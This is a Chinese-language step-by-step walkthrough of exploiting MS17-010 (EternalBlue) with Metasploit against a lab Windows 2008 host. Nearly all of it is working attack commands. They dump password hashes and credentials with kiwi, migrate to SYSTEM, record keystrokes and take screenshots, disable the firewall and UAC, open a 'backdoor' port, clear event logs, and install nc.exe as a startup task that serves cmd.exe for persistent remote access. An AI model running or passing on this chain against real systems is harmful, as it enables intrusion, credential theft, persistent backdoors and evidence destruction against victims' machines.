漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局)泄露的网络攻击工具 永恒之蓝( EternalBlue )改造而成,漏洞通过TCP的445和139端口,利用SMB远程代码执行漏洞,攻击者可以在目标系统上执行任意代码 SMB(ServerMessageBlock)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台 漏洞名称:CVE-2017-0143/44/45/46/47/48 安全公告:MS17-010 补丁文件:windows6.1-kb4012212-x64、windows6.1-kb4012215-x64 漏洞利用的步骤 1)找到目标主机的漏洞列表,openvas 2)使用“辅助模块”脚本,探测某漏洞是否可利用,msf 3)使用“利用模块”脚本,进行侵入,msf 4)获取目标主机账户和密码、记录键盘、截屏、清除日志……,meterpeter 5)管理防火墙、管理用户账户控制、修改注册表,cmd 6)安装后门程序,长期驻留(即使目标漏洞已修补),nc MS17-010漏洞利用过程: 一.验证MS17-010漏洞是否存在 0.登录MSF控制台: msfconsole -q 1.搜索MS17-010漏洞相关程序:search ms17-010 2.序号3对应的程序是漏洞检测程序,能够判断目标主机是否存在MS17-010漏洞 use 3 3.设置目标地址:set rhosts 192.168.10.142 (目标主机地址) 4.运行程序:run/exploit 结果:Host is likely vulnerable to MS17-010!(主机可能存在MS17-010漏洞) 二.利用漏洞进行攻击 1.use 0 (使用序号0对应的漏洞利用程序) 2.设置目标地址:set rhosts 192.168.10.142 (目标主机地址) 3.run (运行) 结果:metepreter> 代表漏洞利用成功,建立了与目标主机的连接 三.获取账号密码信息 成功与目标主机建立了连接: metepreter> hashdump (获取目标主机的用户名及加密密码) metepreter>load kiwi (加载kiwi模块,获取凭证信息时可能会出现权限问题,可以迁移到一个SYSTEM用户权限进程下) metepreter>ps -S "csrss" (搜索csrss.exe进程,获取进程号) metepreter>migrate 进程号 (迁移进程,获取SYSTEM权限) metepreter>creds_all (获取所有凭证,加密的密码会进行解析) 四.进行键盘记录及屏幕截图及屏幕共享 metepreter>screenshot (进行屏幕截图) metepreter> screenshare(屏幕共享) 进行键盘记录: metepreter>ps -S "explorer.exe" (搜索名为explorer的进程,身份为Administrator) metepreter>migrate 进程序号 (进程迁移到对应序号的进程) metepreter>getuid (获取用户信息) metepreter>run post/windows/capture/keylog_recorder (开启键盘记录器) 在win2008用键盘输入内容 在kali2022查看键盘记录内容的位置 metepreter>cat 键盘记录保存位置的文件名 五.开关目标主机防火墙,在防火墙开启后门端口 meterpreter > shell C:\Windows\system32> chcp 65001 //消除乱码 C:\Windows\system32> netsh advfirewall set allprofiles state off C:\Windows\system32> netsh advfirewall set allprofiles state on C:\Windows\system32> netsh firewall add portopening tcp 6666 backdoor enable all 六.关闭用户账户控制,清理日志 c:\windows\system> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f c:\windows\system32>exit meterpreter>clearev 七.上传nc.exe瑞士军刀到目标主机,设置nc.exe开启自启 meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 //上传nc到目标主机 meterpreter > ls nc.exe meterpreter > shell C:\Windows\system32>chcp 65001 //消除乱码 C:\Windows\system32> schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\ nc.exe -Ldp 6666 -e cmd.exe" /sc onstart 八.远程连接nc.exe 在kali中打开新的终端: ┌──(root㉿kali)-[~] └─# nc 植入nc.exe程序地址 防火墙预留的端口